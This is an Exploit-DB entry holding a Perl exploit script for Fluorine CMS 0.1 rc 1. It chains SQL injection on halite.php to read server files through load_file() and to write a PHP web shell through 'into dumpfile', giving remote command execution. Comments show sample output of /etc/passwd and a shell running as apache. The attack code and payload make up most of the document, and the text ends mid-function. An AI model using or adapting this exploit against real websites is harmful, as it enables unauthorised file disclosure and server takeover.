Exploit-DB #8036
Description: Fluorine CMS 0.1 rc 1 - File Disclosure / SQL Injection / Command Execution
Type: webapps
Platform: php
Date: 2009-02-10
Author: Osirys

Exploit:
#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# |                     INFORMATIONS                                                                                                 |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application :  Fluorine CMS - Halite 0.1 rc 1                                                                                 |
# |Download        :  http://garr.dl.sourceforge.net/sourceforge/fluorine/halite-0.1rc1.rar                                          |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Exploit (File Disclosure + Remote Command Execution via Sql Injection)                                                     |
# |by Osirys                                                                                                                         |
# |osirys[at]autistici[dot]org                                                                                                       |
# |osirys.org                                                                                                                        |
# |Thx&Greets to: evilsocket, Fireshot, Todd and str0ke                                                                              |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Sql Injection]
# |  p0c : /[path]/halite.php?action=aff&id=[sql_string]
# |----------------------------------------------------------------------------------------------------------------------------------|
# |This CMS is vulnerable to sql injection. The exploit just use load_file() mysql function to disclosure local file on the server,
# |and uses the '' into dumpfile '' mysql function to save a php shell on the website, so it will allows you to execute commands.
# |The RCE way is more difficult, becouse you need to know the site's path on the server, dumpfile function needs it !
# |----------------------------------------------------------------------------------------------------------------------------------|

# -----------------------------------------------------------------------------------------------
# Exploit in action [>!]
# -----------------------------------------------------------------------------------------------
# osirys[~]>$ perl xploit.txt http://localhost/cms0/ file_disc
#
#   -------------------------------------
#        Fluorine CMS Remote Exploit
#              Coded by Osirys
#   -------------------------------------
#
# [*] cat /etc/passwd
# root:x:0:0::/root:/bin/bash
# bin:x:1:1:bin:/bin:/bin/false
# daemon:x:2:2:daemon:/sbin:/bin/false
# adm:x:3:4:adm:/var/log:/bin/false
# lp:x:4:7:lp:/var/spool/lpd:/bin/false
# sync:x:5:0:sync:/sbin:/bin/sync
# shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
# halt:x:7:0:halt:/sbin:/sbin/halt
# mail:x:8:12:mail:/:/bin/false
# news:x:9:13:news:/usr/lib/news:/bin/false
# uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
# operator:x:11:0:operator:/root:/bin/bash
# games:x:12:100:games:/usr/games:/bin/false
# ftp:x:14:50::/home/ftp:/bin/false
# smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
# mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
# rpc:x:32:32:RPC portmap user:/:/bin/false
# sshd:x:33:33:sshd:/:/bin/false
# gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
# apache:x:80:80:User for Apache:/srv/httpd:/bin/false
# messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
# haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
# pop:x:90:90:POP:/:/bin/false
# nobody:x:99:99:nobody:/:/bin/false
# osirys:x:1000:100:Giovanni,,,:/home/osirys:/bin/bash

# [*] cat exit
# [-] Quitting ..
# osirys[~]>$
# -----------------------------------------------------------------------------------------------
# osirys[~]>$ perl xploit.txt http://localhost/cms0/ cmd /home/osirys/web/cms0/
#
#   -------------------------------------
#        Fluorine CMS Remote Exploit
#              Coded by Osirys
#   -------------------------------------
#
# [*] Injectin php shell thou Sql Injection
# [*] Shell succesfully injected !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> whoami
# apache
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# -----------------------------------------------------------------------------------------------

use LWP::UserAgent;
use HTTP::Request::Common;

my $host   = $ARGV[0];
my $expl   = $ARGV[1];
my $fpath  = $ARGV[2];

my $sql_inj_path = "/halite.php?action=aff&id=";
my $gen_sql_inj  = "-1 union all select 1,2,3,4,";
my $php_c0de   =  "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET[".
                  "cmd]=stripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";

$fpath = "/x" if ($expl =~ /file_disc/);
($host,$expl,$fpath) || help("-1");
cheek($host,$expl,$fpath) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

&file_discl if $expl_way == 1;
&cmd if $expl_way == 2;

sub file_discl {
    print "[*] cat ";
    my $file = <STDIN>;
    chomp($file);
    $file !~ /exit/ || die "[-] Quitting ..\n";
    if ($file !~ /\/(.*)/) {
        print "\n[-] Bad filename !\n";
        &file_discl;
    }
    my $sql_inj = $sql_inj_path.$gen_sql_inj."load_file(\"".$file."\")";
    my $attack  = $host.$sql_inj;
    my $re = get_req($attack);
    my $content = tag($re);
    if ($content =~ /<td\$class="corpsnews">\*\*(.*)(\*\*|\*\*\*)\$\$<\/td>\*\*\$<\/tr>/) {
        my $out = $1;
        $out =~ s/\$/ /g;
        $out =~ s/\*/\n/g;
        $